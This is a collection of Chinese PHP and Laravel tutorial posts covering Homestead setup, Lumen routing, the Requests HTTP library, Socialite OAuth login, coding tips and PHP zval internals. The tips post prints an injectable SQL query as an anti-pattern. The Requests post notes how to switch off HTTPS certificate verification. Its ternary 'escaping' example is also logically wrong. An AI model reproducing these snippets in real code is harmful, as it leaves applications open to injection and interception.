上面的命令就是使用Composer的 create-project 命令创建一个新的项目，这个项目的名称就是blog，也就是我们会在 Code/ 目录之下得到一个 blog/ 文件夹，至于 laravel/laravel 也就是Laravel提供的包名称，如果你想知道Composer究竟有哪些包，你可以直接到这里来看看：

https://packagist.org/explore/

比如一些很常用的包：phpspec，phpunit，behat，yii....你都可以在这里找到：



你可以在上面找到几乎所有跟PHP开发相关的东西，比如你可以随便搜一个password，你可以得到很多对密码处理的包：



等待安装好之后，在 Code/ 目录下就可以看到我们的 blog/ 项目了：



安装完Laravel之后，我们怎么使用呢？也就是我们怎么在浏览器中输入相对应得url来访问到我们的Laravel呢？这里你有三个选择：

	使用PHP自带的服务器




进入到项目的对应目录cd blog/，开启PHP服务器：

php -S localhost:8999 -t public


然后访问localhost:8999就可以看到Laravel的首页了：



	使用artisan




依然是在 blog/ 目录之下，命令行执行：

php artisan serve


然后访问localhost:8000，你也可以看到相对应的Laravel默认页面：



这里其实是也使用PHP自带的服务器，不过Laravel给我们封装了一个命令行工具：artisan。如果你不想使用第三种方法，推荐你在开发的时候直接使用这一种来进行。

在 blog/ 目录下敲命令artisan，你就可以看到Laravel的artisan其实可以做很多事情，我们后面会讲到。



	使用Homestead




Homestead是Laravel官方出的一个虚拟开发环境，在这个环境里面，你不用担心服务器的配置和文件夹得权限配置等，因为在Homestead当中，这些都是已经为你准备好的。而且有很大得好处就是，如果你是进行多人的团队开发工作，你们的团队的开发环境可以做到一模一样，就不用担心你某次升级到最新版本的操作系统而破坏你的开发环境了。所以，我是推荐大家使用Homestead，虽然第一次接触这些可能你会觉得有点麻烦，但是一旦你习惯和配置好了这个虚拟的开发环境，在以后的开发当中，你就可以避免很多不必要的问题。

所以，以后的系列教程会基于Homestead，你也可以直接使用第二种方式。

首先是安装Homestaed，因为Homestead依赖于Vagrant，我这里的虚拟机使用的是VirtualBox所以，首先我们需要安装这两个东西：

VirtualBox ： https://www.virtualbox.org/wiki/Downloads

Vagrant ： https://www.vagrantup.com/downloads.html

上面这两个下载链接种，选择适合你自己操作系统的版本进行下载，安装。

安装完这两个之后，我们就可以安装我们的Homestead了：

vagrant box add laravel/homestead


一会之后，你就会看到类似这个页面：

~  vagrant box add laravel/homestead
==> box: Loading metadata for box 'laravel/homestead'
    box: URL: https://atlas.hashicorp.com/laravel/homestead
This box can work with multiple providers! The providers that it
can work with are listed below. Please review the list and choose
the provider you will be working with.

1) virtualbox
2) vmware_desktop

Enter your choice: 1


选择1，然后等待安装，这个过程可能需要等待一下(少年，开VPN吧！)

安装完了之后，我们就可以进行Homestead的简单配置了，命令行执行：

homestead edit


然后就可以看到我们的 Homestead.yaml 配置文件的内容了：



我们需要注意红色框框里面的内容：

folders:
    - map: ~/Code
      to: /home/vagrant/Code
sites:
    - map: blog.dev
      to: /home/vagrant/Code/blog/public


folders是配置vagrant的映射文件夹，这里也就是我们的 ~/Code 映射到Homestead虚拟机中的 /home/vagrant/Code 文件夹，简单的理解是如果我们在~/Code这个文件夹内做的任何修改，vagrant都会马上同步到 /home/vagrant/Code 中， (后面我们可以ssh登录到Honestead中去看看这个文件夹) ；然后sites就是我们的站点配置，这里我们将blog.dev这个域名映射到   /home/vagrant/Code/blog/public 目录，这个是因为我们在上面的folders映射了 /home/vagrant/Code 这个文件夹，我们就可以想象到这个文件夹下面就有一个blog/目录，而这个就是我们的项目目录，所以这里指定的其实就相当于我们使用PHP自带服务器并指定根目录一个效果：

php -S localhost:8999 -t public


修改本机的hosts文件：

sudo vim /etc/hosts


在这个文件后面加上下面这一行：

192.168.10.10  blog.dev




到这里，Homestead的配置已经完成了，这个时候，你只需要命令行执行一下：

homestead up


等待虚拟机启动起来，然后访问 http://blog.dev/ ，你就可以看到熟悉的页面了：



登录Homestead

在命令行直接执行：

homestead ssh


然后你就可以登录到Homestead这个虚拟机当中了：



图中的 Code/ 文件夹就是我们上面在 Homestead.yaml 配置的映射文件夹，里面就有我们的 blog/ 项目。后续的开发都是基于在这个虚拟机之上的，当然，你也可以直接使用php artisan serve

下一节

这一篇主要是Laravel的安装和环境配置，下一节我将介绍Laravel的Router，Views和Controllers，相信这个介绍完了之后，你对Laravel的认识会比较清晰了。

Happy Hacking


 Lumen 初体验

作者：Mr_Jing

来源： Lumen 初体验



                    
介绍


Lumen：“为速度而生的 Laravel 框架”。


Lumen 是 Laravel 的作者（Taylor Otwell）的又一力作。简单、快速、优雅的它的特点，适合用于构建微服务架构和 API 应用。

官网：http://lumen.laravel.com

介绍：https://phphub.org/topics/701

中文文档：http://lumen.laravel-china.org/docs


安装


使用 composer 安装：


bashcomposer create-project laravel/lumen --prefer-dist



配置


Lumen 默认使用 .env 作为配置文件。.env.example 是官方给出的例子，直接拷贝命名为 .env。


bashcd lumen
cp .env.example .env



调试模式


修改 .env 文件：


bashAPP_DEBUG=true



如果发现还是没有效果，再修改 lumen/bootstrap/app.php 文件，将 Dotenv::load 的注释移除掉。


疑问


1.为什么提示：not be found


访问：http://127.0.0.1/lumen/public/


显示：


bashSorry, the page you are looking for could not be found.

NotFoundHttpException in Application.php line 1121:

in Application.php line 1121
at Application->handleDispatcherResponse(array('0')) in Application.php line 1091
at Application->dispatch(null) in Application.php line 1026
at Application->run() in index.php line 28



查看路由文件 lumen/app/Http/routes.php：


php$app->get('/', function() use ($app) {
    return $app->welcome();
});



感觉没有问题啊，和在 Laravel 中差不多的方式，那是哪里出了问题了？好的，先不管，尝试自己新定义一条路由规则试试看：


php$app->get('/test', function() use ($app) {
    return $app->welcome();
});



再访问：http://127.0.0.1/lumen/public/test


结果和刚才一样。


2.为什么会跳转


再尝试访问一下：http://127.0.0.1/lumen/public/test/

结果跳转到：http://127.0.0.1/test


解惑


我先来解释一下第 2 个问题，因为这是一个很多 Laravel 新手也经常问的问题。


原因何在？请看 lumen/public/.htaccess 文件：


bashRewriteRule ^(.*)/$ /$1 [L,R=301]



这是一条 Apache 路由重写规则（mod_rewrite 开启的情况下才有效），当请求的 URI 带有 /，就会匹配出 $1， 永久重定向（HTTP 状态码是 301）到根目录下的 $1。上面的例子中，匹配到 test（就是$1），就跳转至 /test 了。


如何来规避上面这个问题？注释这条 RewriteRule 吗？不是的。一般来说，我们应该避免使用末尾带斜杠的 URI。为什么 URI 末尾不应该带有斜杠呢？从语义是来说， test/ 表示目录，test 表示资源。还有，如果在 lumen/public 目录下真的有一个 test 目录，那么访问 http://127.0.0.1/lumen/public/test/，就会进入到 test 目录下面来，这不是我们想要的结果。（其实如果真的存在 test 目录并且不存在文件 test，那么，URI 末尾有没有斜杠都会进入到 test 目录中来，这是 Apache 决定的。因为它如果找不到文件，就会自动在末尾加个斜杠，尝试寻找目录下的 index.html 文件等等，具体是在 httpd.conf 中配置 DirectoryIndex。好吧，扯得太远了，拽回来）

总之，我还是建议 URI 末尾不要带 /，如果你非不听，那就注释上面那句 RewriteRule 吧，这样就不会重定向了。


关于第 1 个问题，我们也来分析一下发生的原因，这样才能对症下药。

根据错误提示，定位到文件 lumen/vendor/laravel/lumen-framework/src/Application.php 中：


php    /**
     * Dispatch the incoming request.
     *
     * @param  SymfonyRequest|null  $request
     * @return Response
     */
    public function dispatch($request = null)
    {
        if ($request) {
            $this->instance('Illuminate\Http\Request', $request);
            $this->ranServiceBinders['registerRequestBindings'] = true;

            $method = $request->getMethod();
            $pathInfo = $request->getPathInfo();
        } else {
            $method = $this->getMethod();
            $pathInfo = $this->getPathInfo();
        }        

        try {
            if (isset($this->routes[$method.$pathInfo])) {
                return $this->handleFoundRoute([true, $this->routes[$method.$pathInfo]['action'], []]);
            }

            return $this->handleDispatcherResponse(
                $this->createDispatcher()->dispatch($method, $pathInfo)
            );
        } catch (Exception $e) {
            return $this->sendExceptionToHandler($e);
        }
    }




匹配不到 route 的原因就在以上代码中。假设访问：http://127.0.0.1/lumen/public，那么 :


phpvar_dump($method);  // string(3) "GET"
var_dump($pathInfo);  // string(14) "/lumen/public/"



根据 lumen/app/Http/routes.php 中的定义，生成 $this->routes：


phpvar_dump(array_keys($this->routes));  // array(2) { [0]=> string(4) "GET/" [1]=> string(8) "GET/test" }



由上可知， isset($this->routes[$method.$pathInfo]) 的结果就是 false，所以提示 not be found 了。

既然已经知道了原因，那问题就好解决了。解决的前提是不要改动框架的源代码，不然日后升级框架会多么蛋疼，你都把框架代码都修改，万一出了问题你咋办？你自己拆手机，官方是不保修的哦！当然，如果你是框架开发组的，你提交代码能被大家接受并被官方合并到主干代码中了，那你就改吧。


方案1：修改 DocumentRoot


修改 Apache 的配置文件 httpd.conf，将 DocumentRoot 指向 lumen/public：


bashDocumentRoot "/sites/lumen/public"



重启 Apache。


但是，如果我还有其他站点也在这个 Apache 下面，改 DocumentRoot 就会导致其他的站点不能访问了。怎么办？请看方案 2。


方案2：配置 Apache 虚拟主机


修改 httpd.conf，将下面这行的注释移除：


bashInclude etc/extra/httpd-vhosts.conf



修改 httpd-vhosts.conf：


bash<VirtualHost *:80>
    DocumentRoot "/sites"
    ServerName 127.0.0.1
</VirtualHost>
<VirtualHost *:80>
    DocumentRoot "/sites/lumen/public"
    ServerName lumen.app
</VirtualHost>



重启 Apache。


修改主机的 etc/hosts，添加一行：


bash127.0.0.1 lumen.app



其中 127.0.0.1 应该换成你 lumen 应用存放的机器的 ip。


OK，这样就可以通过访问 http://lumen.app 来访问该 lumen 站点，通过 http://127.0.0.1 来访问其他站点。


但是，你压根不能修改 Apache 的配置，怎么办？请看方案 3。


方案3.修改路由规则中的路径


改不了配置，就改代码喽（再强调一下，不是修改框架的源代码）。


修改路由文件 lumen/app/Http/routes.php：


php
define('ROUTE_BASE', 'lumen/public');

$app->get(ROUTE_BASE . '/index', function() use ($app) {
    return $app->welcome();
});
$app->get(ROUTE_BASE . '/test', function() use ($app) {
    return $app->welcome();
});



这样，如果以后有变化的话，你只需要修改 define('ROUTE_BASE', 'lumen/public/')；就可以了（当然，把这个写到应用配置项中是最合适的，部署时修改配置就可以了）。


至于想以 'lumen/public/' 作为首页 URI 显然是不可以的，建议使用 'lumen/pulbic/index' 作为首页。如同上面代码定义的路由规则那样。


因为，无论你在路由规则的字符串末尾加了多少个斜杠， $this->routes 的键是不会带有斜杠的，最终还是不能匹配的。原因在框架源代码中 lumen/vendor/laravel/lumen-framework/src/Application.php：


php    /**
     * Add a route to the collection.
     *
     * @param  string  $method
     * @param  string  $uri
     * @param  mixed  $action
     */
    protected function addRoute($method, $uri, $action)
    {
        $action = $this->parseAction($action);

        $uri = $uri === '/' ? $uri : '/'.trim($uri, '/');

        if (isset($action['as'])) {
            $this->namedRoutes[$action['as']] = $uri;
        }

        if (isset($this->groupAttributes)) {
            if (isset($this->groupAttributes['prefix'])) {
                $uri = rtrim('/'.trim($this->groupAttributes['prefix'], '/').$uri, '/');
            }

            $action = $this->mergeGroupAttributes($action);
        }

        $this->routes[$method.$uri] = ['method' => $method, 'uri' => $uri, 'action' => $action];
    }



对，就是它：$uri = $uri === '/' ? $uri : '/'.trim($uri, '/');。

所有，URI 末尾还是不带斜杠的好。


 从零开始系列汇总

作者：justjavac

来源： 从零开始系列汇总



                    
程序员总爱重新发明轮子，于是做了个轮子汇总。



	从零开始写个编译器吧系列  (知乎专栏)


	从零开始写一个简单的操作系统  (伯乐在线)


	从零开始写JavaScript框架  (图灵社区)


	从零开始写jQuery框架  (蓝色理想 )


	从零开始nodejs系列文章  (粉丝日志)


	从零开始编写网络游戏 ( 英特尔® 开发人员专区)


	从零开始编写自己的C#框架 (博客园)


	如何从零开始写一个 Chrome 扩展？ (知乎)






如果你发现了或者创造了“从零开始”的文章，可以在底部留言，或者在 github 上 pull request。


github 地址：Programming-Alpha-To-Omega


 【PHP类库】Requests - A humble HTTP request library 

作者：icyfire

来源： 【PHP类库】Requests - A humble HTTP request library 



                    
Requests是一个PHP的HTTP类库。相对于cURL等类库来说，它具有简单易用且友好的API，且不依赖于cURL。它支持HEAD、 GET、 POST、 PUT、 DELETE和PATCH等方法，基本能满足任何形式的HTTP请求。


Requests不依赖于任何PHP标准库外的扩展，唯一的要求就是需要PHP5.2+的版本。但是如果PHP的cURL可用，Requests会优先使用它，否则会使用socket。


安装和使用


通过Composer安装


{
    "require": {
        "rmccue/requests": ">=1.0"
    },
    "autoload": {
        "psr-0": {"Requests": "library/"}
    }
}



自动加载


可以使用Composer的加载器：


phpinclude('/path/to/composer/vendor/autoload.php');



也可以使用Requests自带的：


phpinclude('/path/to/library/Requests.php');

Requests::register_autoloader();



各种请求


GET请求


php$response = Requests::get('http://httpbin.org/get');



POST请求


php$response = Requests::post('http://httpbin.org/post');



需要传数据的话，可以使用第三个参数：


php$data = array('key1' => 'value1', 'key2' => 'value2');
$response = Requests::post('http://httpbin.org/post', array(), $data);



如果需要传原始数据的话，第三个参数请传字符串。


其他请求


其他请求方法都大同小异：


php$response = Requests::put('http://httpbin.org/put');

$response = Requests::delete('http://httpbin.org/delete');

$response = Requests::patch('http://httpbin.org/patch', array('If-Match' => 'e0023aa4e'));

$response = Requests::head('http://httpbin.org/headers');



需要注意的是equests::patch()方法的第二个参数为必传。


Requests::request()方法


看API文档，你会发现这些方法接受的参数几乎一样：$url，$headers，$data（只有POST、PUT和PATCH有），$options。事实上它们只是对Requests::request()方法进行了一次封装：


php/**
 * Send a GET request
 */
public static function get($url, $headers = array(), $options = array()) {
    return self::request($url, $headers, null, self::GET, $options);
}

/**
 * Send a HEAD request
 */
public static function head($url, $headers = array(), $options = array()) {
    return self::request($url, $headers, null, self::HEAD, $options);
}

/**
 * Send a DELETE request
 */
public static function delete($url, $headers = array(), $options = array()) {
    return self::request($url, $headers, null, self::DELETE, $options);
}

/**
 * Send a POST request
 */
public static function post($url, $headers = array(), $data = array(), $options = array()) {
    return self::request($url, $headers, $data, self::POST, $options);
}

/**
 * Send a PUT request
 */
public static function put($url, $headers = array(), $data = array(), $options = array()) {
    return self::request($url, $headers, $data, self::PUT, $options);
}



$header允许我们自定义请求头，例如POST方法的话，我们通常需要指定Content-Type，使服务器知道我们正在发送的的数据是什么格式：


php$url = 'https://api.github.com/some/endpoint';
$headers = array('Content-Type' => 'application/json');
$data = array('some' => 'data');
$response = Requests::post($url, $headers, json_encode($data));



$options允许我们对请求进行配置，例如超时时间：


php$options = array(
    'timeout' => 5
);
$response = Requests::get('https://httpbin.org/', array(), $options);




  更多的选项配置请看：http://requests.ryanmccue.info/api/source-class-Requests.html#_request




Requests里所有的请求方法（HEAD、 GET、 POST、 PUT、 DELETE和PATCH）返回的都是一个Requests_Response对象，这个对象包含了响应的各种信息：



	
$body：响应体。

	
$raw：原始的HTTP响应数据。

	
$headers：响应头。

	
$status_code：状态码。

	
$success：标识请求是否成功。

	
$redirects：请求的重定向次数。

	
$url：请求的URL。

	
$history：请求的历史记录。

	
$cookies：cookie信息。




  更多Requests_Response的信息请看：http://requests.ryanmccue.info/api/source-class-Requests.html#_request




Session处理


当你需要对同一网站发出多个请求，那么Requests_Session对象可以帮到轻易的设置一些默认参数：


php$url = 'https://api.github.com/';
$header = array('X-ContactAuthor' => 'rmccue');
$data = array();
$options = array('useragent' => 'My-Awesome-App');
$session = new Requests_Session($url, $header, $data, $options);

$response = $session->get('/zen');



Requests_Session的构造函数接受url、headers、data和options这4个参数，顺序跟Requests::request()方法一致。同时你也可以通过访问属性的方式去修改options参数：


php// 设置option属性
$session->useragent = 'My-Awesome-App';

// 跟上面的作用一致
$session->options['useragent'] = 'My-Awesome-App';



更多Requests_Session的信息请看：http://requests.ryanmccue.info/api/source-class-Requests_Session.html


HTTPS请求


Requests会默认帮忙处理HTTPS请求，就跟在浏览器访问HTTPS网站一样：


php$response = Requests::get('https://httpbin.org/');



但是如果你想使用其他的证书或者自签证书，你可以指定证书文件（PEM格式）：


php$options = array(
    'verify' => '/path/to/cacert.pem'
);
$response = Requests::get('https://httpbin.org/', array(), $options);



如果你想禁用HTTPS的验证，可以通过设置options：'verify' => false。


HTTP基本验证


HTTP基本验证功能可以通过options的auth实现：


php$options = array(
    'auth' => array('user', 'password')
);
Requests::get('http://httpbin.org/basic-auth/user/password', array(), $options);



进阶使用


使用代理


代理可以通过options的proxy实现：


php$options = array(
    'proxy' => '127.0.0.1:3128'
);
Requests::get('http://httpbin.org/ip', array(), $options);



如果代理需要验证：


php$options = array(
    'proxy' => array( '127.0.0.1:3128', 'my_username', 'my_password' )
);
Requests::get('http://httpbin.org/ip', array(), $options);



钩子


通过Requests的钩子系统，我们可以通过注册自己的钩子去扩展Requests的功能：


php$hooks = new Requests_Hooks();
$hooks->register('requests.after_request', 'mycallback');

$request = Requests::get('http://httpbin.org/get', array(), array('hooks' => $hooks));




  Request提供的钩子请看：http://requests.ryanmccue.info/docs/hooks.html




自定义验证


通过实现Requests_Auth接口，我们可以为请求添加自定义的验证。假设服务器会检查HTTP请求里的Hotdog请求头的值是不是为Yummy。我们先实现我们的验证类：


phpclass MySoftware_Auth_Hotdog implements Requests_Auth {
    protected $password;

    public function __construct($password) {
        $this->password = $password;
    }

    public function register(Requests_Hooks &$hooks) {
        $hooks->register('requests.before_request', array(&$this, 'before_request'));
    }

    public function before_request(&$url, &$headers, &$data, &$type, &$options) {
        $headers['Hotdog'] = $this->password;
    }
}



可以看到，类实现了Requests_Auth接口，同时代码实现也用到了钩子。下面我们通过options的auth去调用我们的自定义验证：


php$options = array(
    'auth' => new MySoftware_Auth_Hotdog('yummy')
);
$response = Requests::get('http://hotdogbin.org/admin', array(), $options);



Why Requests？


文章开始提到了Requests的一些优点，这个官网有个专门的页面进行详细的介绍，同时还提到了Requests跟其他类似类库的对比。通过这个对比，大家对Requests会有进一步的认识，同时也科普下还有哪些HTTP请求相关的类库。

请猛击：http://requests.ryanmccue.info/docs/why-requests.html


参考


http://requests.ryanmccue.info/


 Laravel5.1 实现第三方登录认证（包括微博、QQ、微信、豆瓣）

作者：Mr_Jing

来源： Laravel5.1 实现第三方登录认证（包括微博、QQ、微信、豆瓣）



                    
前言

第三方登录认证能简化用户登录/注册的操作，降低用户登录/注册的门槛，对提高应用的用户转化率很有帮助。

Socialite

Laravel 为我们提供了简单、易用的方式，使用 Laravel Socialite 进行 OAuth（OAuth1 和 OAuth2 都有支持） 认证。

Socialite 目前支持的认证有 Facebook、Twitter、Google、LinkedIn、GitHub、Bitbucket。（恩，有一半是“不存在”的网站。）
Socialite 的用法官方文档中已经讲得很详细了，恕不赘述。
英文好的同学，建议直接看 Laravel 官方文档，毕竟看二手知识是有高风险的。
英文不好的同学（比如我），下面是中文文档：
Laravel 5.0：http://laravel-china.org/docs/5.0/authentication#social-authentication
Laravel 5.1：http://laravel.tw/docs/5.1/authentication#social-authentication

SocialiteProviders

SocialiteProviders  通过扩展 Socialite 的 Driver，实现了很多第三方认证。国内的有：微博、QQ、微信、豆瓣。当然你自己也可以参照实现其他的，只要那个网站支持 OAuth。
SocialiteProviders 的使用也超级简单易用，每个都对应了文档。其实，不懂英文也能看懂。
文档地址：http://socialiteproviders.github.io/
其实，文章到这里就应该结束了。由于文档是基于 Laravel5.0 的，所以我还是打算基于 Laravel5.1 演示一遍，并说一下要注意的地方吧。

以 Weibo 为例

1.安装

composer require socialiteproviders/weibo

2.添加 Service Provider

如果之前添加过 Socialite Provider，得先注释掉：
文件 config/app.php

'providers' => [
//    Laravel\Socialite\SocialiteServiceProvider::class,
    SocialiteProviders\Manager\ServiceProvider::class, // add
],

3.添加 Facades Aliase

如果之前安装 Socialite 时添加过，就不需要再添加了。
还是文件 config/app.php

'aliases' => [
    'Socialite' => Laravel\Socialite\Facades\Socialite::class, // add
],


4.添加事件处理器

文件 app/Providers/EventServiceProvider.php

protected $listen = [
    'SocialiteProviders\Manager\SocialiteWasCalled' => [
        'SocialiteProviders\Weibo\WeiboExtendSocialite@handle',
    ],
];

这里顺便提一下 SocialiteProviders 的原理。

SocialiteProviders\Manager\ServiceProvider 实际上是继承于 Laravel\Socialite\SocialiteServiceProvider 的，这是它的源码：

<?php

namespace SocialiteProviders\Manager;

use Illuminate\Contracts\Events\Dispatcher;
use Laravel\Socialite\SocialiteServiceProvider;

class ServiceProvider extends SocialiteServiceProvider
{
    /**
     * @param Dispatcher         $event
     * @param SocialiteWasCalled $socialiteWasCalled
     */
    public function boot(Dispatcher $event, SocialiteWasCalled $socialiteWasCalled)
    {
        $event->fire($socialiteWasCalled);
    }
}


它只是在启动时会触发 SocialiteWasCalled 事件，刚才在 SocialiteProviders\Manager\SocialiteWasCalled 事件的监听器中加上了事件处理器：SocialiteProviders\Weibo\WeiboExtendSocialite@handle。处理器的源码：

<?php

namespace SocialiteProviders\Weibo;

use SocialiteProviders\Manager\SocialiteWasCalled;

class WeiboExtendSocialite
{
    public function handle(SocialiteWasCalled $socialiteWasCalled)
    {
        $socialiteWasCalled->extendSocialite('weibo', __NAMESPACE__.'\Provider');
    }
}


处理器做的事情就是为 Socialite 添加了一个 weibo Driver，这样就可以使用 weibo 的 Driver 了。

5.添加路由

文件 app/Http/routes.php

// 引导用户到新浪微博的登录授权页面
Route::get('auth/weibo', 'Auth\AuthController@weibo');
// 用户授权后新浪微博回调的页面
Route::get('auth/callback', 'Auth\AuthController@callback');

6.配置

文件 config/services.php

'weibo' => [
    'client_id' => env('WEIBO_KEY'),
    'client_secret' => env('WEIBO_SECRET'),
    'redirect' => env('WEIBO_REDIRECT_URI'),  
],

文件 .env

WEIBO_KEY=yourkeyfortheservice
WEIBO_SECRET=yoursecretfortheservice
WEIBO_REDIRECT_URI=http://192.168.1.7/laravel/public/auth/callback

注意：192.168.1.7 是我本地虚拟机的地址，虚拟机可以连外网就可以测试了。貌似 QQ 的必须绑定域名才是测试。

当然，直接将配置的具体参数写在 config/services.php 中也是可以的，但是不推荐这样。因为 config/services.php 属于代码文件，而 .env 属于配置文件。当代码上线是只要应用线上环境的配置文件即可，而不需要改动代码文件，这算是一个最佳实践吧。
至于 WEIBO_KEY 和 WEIBO_SECRET 的具体值，这个是由新浪微博分发给你的，在新浪微博的授权回调页中填写 WEIBO_REDIRECT_URI。这些细节已经超出本文的内容，建议直接到 http://open.weibo.com 查阅新浪微博的手册。

7.代码实现

文件 app/Http/Controllers/Auth/AuthController.php

    public function weibo() {
        return \Socialite::with('weibo')->redirect();
        // return \Socialite::with('weibo')->scopes(array('email'))->redirect();
    }


    public function callback() {
        $oauthUser = \Socialite::with('weibo')->user();

        var_dump($oauthUser->getId());
        var_dump($oauthUser->getNickname());
        var_dump($oauthUser->getName());
        var_dump($oauthUser->getEmail());
        var_dump($oauthUser->getAvatar());
    }

访问 http://192.168.1.7/laravel/public/auth/weibo，会跳转到新浪微博的登录授权页面，授权成功后，会跳转到 http://192.168.1.7/laravel/public/auth/callback
返回的结果：

string(10) "3221174302"
string(11) "Mr_Jing1992"
NULL
NULL
string(50) "http://tp3.sinaimg.cn/3221174302/180/40064692810/1"

user 对象是现实了接口 Laravel\Socialite\Contracts\User 的，有以下几个方法：

<?php

namespace Laravel\Socialite\Contracts;

interface User
{
    public function getId();
    public function getNickname();
    public function getName();
    public function getEmail();
    public function getAvatar();
}


当然，并不是有了这些方法就一定能获取到你需要的数据的。比如，在新浪的接口中，想要获取用户的 email 是得用户授权的，得到授权后请求获取邮箱的接口，才能拿到用户的邮箱。
详情参见：
http://open.weibo.com/wiki/Scope
http://open.weibo.com/wiki/2/account/profile/email

但是，id 这个应该是所有第三方认证服务提供商都会返回的。不然那就没有办法作账号关联了。

获取到第三方的 id 后，如果这个 id 和你网站用户账号有绑定，就直接登录你网站用户的账号。如果没有任何账号与之绑定，就应该提示用户绑定已有账号或者是注册新账号什么的，这些具体逻辑就不在多说了。还有，在新浪上面还有一个取消授权回调页的值需要填，是用户在授权页点击“取消”按钮时新浪回调的页面。这个可以设置为你网站的登录页面或者其他页面。

补充：
http://socialiteproviders.github.io/providers/qq/ 文档中有一处错误。
SocialiteProviders\QQ\QqExtendSocialite@handle 应该改为：SocialiteProviders\Qq\QqExtendSocialite@handle。注意大小写。

最后：
如有错误，还望指正。
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本文只是个人从实际开发经验中总结的一些东西，并不是什么名言警句，写出来有两个目的：一是时刻提醒自己要按照这些知识点来写自己代码，二是为了分享，说不定对你有用呢？万一，是吧。。。


1.首要意识：安全


大多数时候，我们开发的Web程序都是需要跟数据库打交道的，所以这里几乎可以说SQL注入是一个怎么也无法避免要拿出来讨论一下的问题。而且近年来像XSS和CSRF攻击也变得大行其道，使得"黑客"们貌似又有了一把把利器，而我们总是处于被动的状态。不过我们要记得是下面这两个原则：


1. 永远不要相信用户输入的东西。（老话了，但这是真的）
2. 将自己需要输出的数据进行转义。




简单来说就是：filter input , escape output


如果你是新手，不要再使用类似以下的查询语句了：


SELECT FROM users WHERE username = $_POST['username'] AND password = $_POST['password'];




还有就是，使用PDO或Mysqli吧，不要再使用老式的mysql操作了。


而对于，CSRF的解决方案，目前接触的都是给每一次的表单提交都设置一个token值，然后在表单提交的时候校验之即可。


2.明确地知道各个比较操作符的差别


PHP的比较操作符,这其实可以说是一个很小的注意点，但是在某些时候真的很重要。比如说很多时候我们得考虑清楚，该用==还是===，如果你使用过strpos()这个函数，下面的代码可能会给你一个直观的感受：


<?php

$authors = 'Chris & Sean';

if (strpos($authors, 'Chris')) {
    echo 'Chris is an author.';
} else {
    echo 'Chris is not an author.';
}




上面这段代码的运行结果其实是输出Chris is not an author，但是现实情况是，Chris & Sean真的是Author啊，怎么回这样呢？其实是这样的：Chris正好出现在Chris & Sean首位开始处，也就是0这个位置，所以substr()返回了，由于条件判断语句中bool判断，所以0作为了false处理，于是程序输出了Chris is not an author，但是在这种情况之下我们该怎么处理呢？我们其实可以这样的：


<?php

if (strpos($authors, 'Chris') !== FALSE) {
    echo 'Chris is an author.';
} else {
    echo 'Chris is not an author.';
}





这里的!==和!=的不同就体现出来了。


3.可以减少使用else就少使用else


这个貌似从我一开始接触编程就有的一个想法，因为每次看到if(){}else{}就有一种这一段其实可以写得更好的感觉，因为一旦你减少了使用else关键字，你得代码会减少两行！没错，两行也是我们的追求，而且，从我的经验看，else少的代码貌似可读性更高，对我来说。


if( this condition )
{
$x = 5;
}
else
{
$x = 10;




如果，在$x的默认值是10，还是下面这样写感觉比较好：


$x = 10;
if( this condition )
{
$x = 5;
}




4.去掉不必要的括号



  注：貌似这一点是一个不太好的习惯。很多人在评论里面指出了，我面壁一下




这里的目的其实跟else关键字部分是一样的，我们是为了更简短的代码和更优越的可读性，对以下的情况，你都应该考虑优化代码：


if ($gollum == 'halfling') {
$height --;
}




其实是可以这样的：


if ($gollum == 'halfling') $height --;




你甚至可以这样：



if ($gollum == 'halfling') $height --;
else $height ++; 

if ($frodo != 'dead')
echo 'Gosh darnit, roll again Sauron';

foreach ($kill as $count)
echo 'Legolas strikes again, that makes' . $count . 'for me!';





是不是有一种又短又清晰的感觉？


5.多用str_replace()


在很多时候我们需要对一些字符串进行替换，在PHP中有以下几个函数可以达到这个目的：


str_replace()
ereg_replace()
preg_replace()




如果你确实是需要使用正则匹配，那就使用preg_replace()，而如果在可实现替换的情况下，请使用str_replace()，因为据不完全统计，str_replace()的效率在这三个当中是最高的。


6.使用三元运算符


这个可能很多人都有这个感受，使用三元运算符之后，我们可以去掉一堆if else语句了，代码又短又爽。


$host = strlen($host) > 0 ? $host : htmlentities($host);




7.使用缓存


目前PHP热门的缓存技术可能就是Redis和Memcached了，在PHP的官方文档中，也有Memcached的使用教程，至于Redis，我最近在研究中，后续会给出一些教程，如果一切顺利的话。


8.使用框架


框架的好处很多，可能是在性能方面有所损失外，貌似找不到不用框架的理由了，框架即可以加快你的开发速度，也可以让你在写代码的过程中撸的舒舒服服，而且想很多安全问题，你都会得到很好的解决。我这里首推Laravel，不过像Yii2 Slim Symfony都是非常棒的框架，除了Symfony没有尝过过之外，剩下的三个我都有使用经历，最后就基本是用Laravel了。不过我建议的Laravel可能不适合你，这还是得看个人喜好。


9.用isset()代替strlen()


如果你需要在项目代码中需要根据一个字符串的长度来做条件判断，这个时候非常推荐你直接使用isset()，因为在同等条件之后，isset()的速度是strlen()的五倍左右，所以：


<?php

if (isset($username[5])) {
    // The username is at least six characters long.
}


if (strlen($username) >= 6) {
    // The username is at least six characters long.
}





以上的两个条件判断都是可以达到相同的目的，但是我推荐使用的是第一种。


Happy Hacking
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本文第一部分和第二均翻译自Nikita Popov(nikic，PHP 官方开发组成员，柏林科技大学的学生) 的博客。为了更符合汉语的阅读习惯，文中并不会逐字逐句的翻译。

要理解本文，你应该对 PHP5 中变量的实现有了一些了解，本文重点在于解释 PHP7 中 zval 的变化。

由于大量的细节描述，本文将会分成两个部分：第一部分主要描述 zval(zend value) 的实现在 PHP5 和 PHP7 中有何不同以及引用的实现。第二部分将会分析单独类型（strings、objects）的细节。

PHP5 中的 zval

PHP5 中 zval 结构体定义如下：

typedef struct _zval_struct {
    zvalue_value value;
    zend_uint refcount__gc;
    zend_uchar type;
    zend_uchar is_ref__gc;
} zval;

如上，zval 包含一个 value、一个 type 以及两个 __gc 后缀的字段。value 是个联合体，用于存储不同类型的值：

typedef union _zvalue_value {
    long lval;                 // 用于 bool 类型、整型和资源类型
    double dval;               // 用于浮点类型
    struct {                   // 用于字符串
        char *val;
        int len;
    } str;
    HashTable *ht;             // 用于数组
    zend_object_value obj;     // 用于对象
    zend_ast *ast;             // 用于常量表达式(PHP5.6 才有)
} zvalue_value;

C 语言联合体的特征是一次只有一个成员是有效的并且分配的内存与需要内存最多的成员匹配（也要考虑内存对齐）。所有成员都存储在内存的同一个位置，根据需要存储不同的值。当你需要 lval 的时候，它存储的是有符号整形，需要 dval 时，会存储双精度浮点数。

需要指出的是是联合体中当前存储的数据类型会记录到 type 字段，用一个整型来标记：

#define IS_NULL     0      /* Doesn't use value */
#define IS_LONG     1      /* Uses lval */
